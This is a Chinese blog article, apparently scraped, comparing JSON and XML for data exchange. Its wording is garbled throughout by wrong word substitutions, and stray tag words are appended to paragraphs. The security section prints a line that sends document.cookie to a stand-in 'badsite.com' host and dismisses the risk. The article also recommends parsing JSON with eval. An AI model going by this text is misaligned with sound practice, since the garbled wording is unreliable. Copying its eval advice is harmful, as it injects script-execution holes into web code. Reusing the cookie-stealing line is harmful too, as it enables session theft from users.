json與xml的區別

(點擊獲取更多資料的下載

曾幾什麼時候,XML是程序員的寵兒,是數據傳輸、API、AJAX應用等方面的不二選擇,但自從JSON橫空出世後,或者你會發覺你身邊就有不少人開 始拋棄XML,在他們的心目中,JSON已經徹底取代了XML的位置。JSON有不少優點,但也存在缺點,而XML雖然確實存在很多問題,但孰優孰劣,並 不是能夠依據我的喜愛就輕易得出結論的。 javascript

JSON(Javascript Object Notation) 是一種輕量級的數據交換格式。易於人閱讀和編寫。同時也易於機器解析和生成。它基於Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一個子集。JSON採用徹底獨立於語言的文本格式,可是也使用了相似於C語言家族的習慣(包括C, C++, C#, Java, Javascript, Perl, Python等)。這些特性使JSON成爲理想的數據交換語言。 正是由於這樣,twitter已經聲稱他們的流媒體API將再也不支持XML,Foursquare則強烈推薦開發者在使用他們的API時選擇JSON,因 爲他們計劃下一代接口只支持JSON。 java

老k博客將從下面幾個方面來客觀比較一下二者 程序員

  • 1. 可讀性
  • 2. 是否易於在服務端建立數據
  • 3. 是否易於在客戶端處理數據
  • 4. 擴展性
  • 5. 調試和故障排除
  • 6. 安全

可讀性 web

二者都具有很好的可讀性,但從實際應用出發,我的仍是以爲XML文檔的可讀性無疑會更高,要求你從一大堆的json代碼裏看出它的結構層次關係仍是 相對比較困難的;並且如今不少的IDE工具均可以把XML格式化成易讀的結構形式,看起來至關舒服,而json則否則。在這一方面我投XML一票。 apache

是否易於在服務端建立數據 編程

XML已經流行了好多年了,故目前流行的編程語言都已經存在大量的XML數據綁定API去進行建立XML,以java語言爲例,你既能夠用JAXB,又能夠用XmlBeans,又或者dom4jjdom等去把數據寫到xml文件中。而另外一方面,json這一方面的API則相對是一個全新的領域,儘管如此,json官方網站仍是列出了不少使人印象深入的各類語言的API,java方面比較著名的有json-lib,此外gson也算一個。在這一方面,雖然json相對於XML並非可望不可即,但仍是略微遜色一籌,尤爲是在複雜的應用方面,XML方面的API已經存在多年,相對來講成熟穩定得多了。 json

是否易於在客戶端處理數據 數組

在客戶端,要處理XMLHttpRequest請求返回的json格式響應數據是一件垂手可得的事情,只須要使用javascript的eval函 數就能夠實現把json格式的數據轉換成javascript對象,而後經過對象的屬性去訪問值,這就是json最優雅之處,無數人爲之着迷。而XML在 這一方面就不是那麼的友善了,曾令無數的程序員頭痛不已,由於處理XML響應數據,你得經過DOM樹,這是很是繁瑣且容易出錯的工做。這一點,我堅決果斷 地選擇json。 瀏覽器

擴展性 安全

可擴展性有助於減小生產者與消費者之間的數據耦合。在AJAX應用裏,客戶端腳本應該合理地兼容不可知的數據擴展。

毫無疑問,XML是可擴展的,但它的擴展是有侷限的,由於若是你要適應擴展的話,那麼你的客戶端代碼不得不做出相應的改動,如如下的客戶端解析代碼

1 var xml = xhr.responseXML;
2  var elements = xml.getElementsByTagName("firstName");
3  var firstNameEl = elements[0];
4  var lastNameEl = firstNameEl.nextSibling;

若是你在響應xml中<firstName>結點後增長了<middlename>這一結點的話,那以上的代碼就要做相應 的改變,不然會出錯,也就是說,XML的擴展得伴隨着解析代碼的變動,這可沒有什麼魔法可言。而json則簡單得多,即便你要增長middleName這 一屬性,在js客戶端依然是經過對象訪問屬性值便可,而不會引發js上的語法出錯之類的錯誤,致使程序沒法執行。

調試和故障排除

這方面須要從服務端和客戶端兩方面進行考慮,在服務器端,要確保數據是格式良好的和有效的;在客戶端,它應該容易調試錯誤的。

使用XML的話會相對容易地檢查數據被髮送到客戶端是格式良好的和有效的。您還可使用數據架構(schema)來驗證xml的正確性和有效性。使用JSON,這個任務是手動的,並涉及驗證響應對象中是否包含正確的屬性。

在客戶端,要從二者中找到錯誤都是比較困難的。對於XML,瀏覽器是徹底沒法將xml格式化成responseXML;若是對於數據量較少的json數據,還能夠經過firebug來發現錯誤,但對於大數據量的話,那隻能靠手工檢查了,不然也只能坐以待斃了。
安全性

有人認爲,使用json是不安全的,緣由是json裏能夠包含js代碼,而客戶端中使用eval可使這些代碼執行,而這些代碼可能會存在安全隱患。如如下的代碼:

1 window.location ="<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
2  person : {
3  "firstName":"Subbu",
4  "lastName":"Allamaraju"
5  }

上面的代碼會致使瀏覽器把用戶的cookie數據提交到一個流氓網站。但出現這種狀況的可能只會是開發者故意爲之,別人是沒法這樣作的,但若是是開 發者有意爲之的話,那他同樣以別的方式來實現把你的cookie數據提交到流氓網站,這與是否使用json無關,因此相對於XML,json是一樣的安全 的。

數據交換格式比較之關於輕量級和重量級:

輕量級和重量級是相對來講的,那麼XML相對於JSON的重量級體如今哪呢?我想應該體如今解析上,XML目前設計了兩種解析方式:DOM和SAX;

DOM是把一個數據交換格式XML當作一個DOM對象,須要把XML文件整個讀入內存,這一點上JSON和XML的原理是同樣的,可是XML要考慮 父節點和子節點,這一點上JSON的解析難度要小不少,由於JSON構建於兩種結構:key/value,鍵值對的集合;值的有序集合,可理解爲數組;

SAX不須要整個讀入文檔就能夠對解析出的內容進行處理,是一種逐步解析的方法。程序也能夠隨時終止解析。這樣,一個大的文檔就能夠逐步的、一點一點的展示出來,因此SAX適合於大規模的解析。這一點,JSON目前是作不到得。

因此,JSON和XML的輕/重量級的區別在於:JSON只提供總體解析方案,而這種方法只在解析較少的數據時才能起到良好的效果;而XML提供了對大規模數據的逐步解析方案,這種方案很適合於對大量數據的處理。


數據交換格式比較之關於數據格式編碼及解析的難度:

在編碼上,雖然XML和JSON都有各自的編碼工具,可是JSON的編碼要比XML簡單,即便不借助工具,也能夠寫出JSON代碼,但要寫出好的 XML代碼就有點困難;與XML同樣,JSON也是基於文本的,且它們都使用Unicode編碼,且其與數據交換格式XML同樣具備可讀性。

主觀上來看,JSON更爲清晰且冗餘更少些。JSON網站提供了對JSON語法的嚴格描述,只是描述較簡短。從整體來看,XML比較適合於標記文檔,而JSON卻更適於進行數據交換處理。

在解析上,在普通的web應用領域,開發者常常爲XML的解析傷腦筋,不管是服務器端生成或處理XML,仍是客戶端用 JavaScript 解析XML,都經常致使複雜的代碼,極低的開發效率。

相關文章
相關標籤/搜索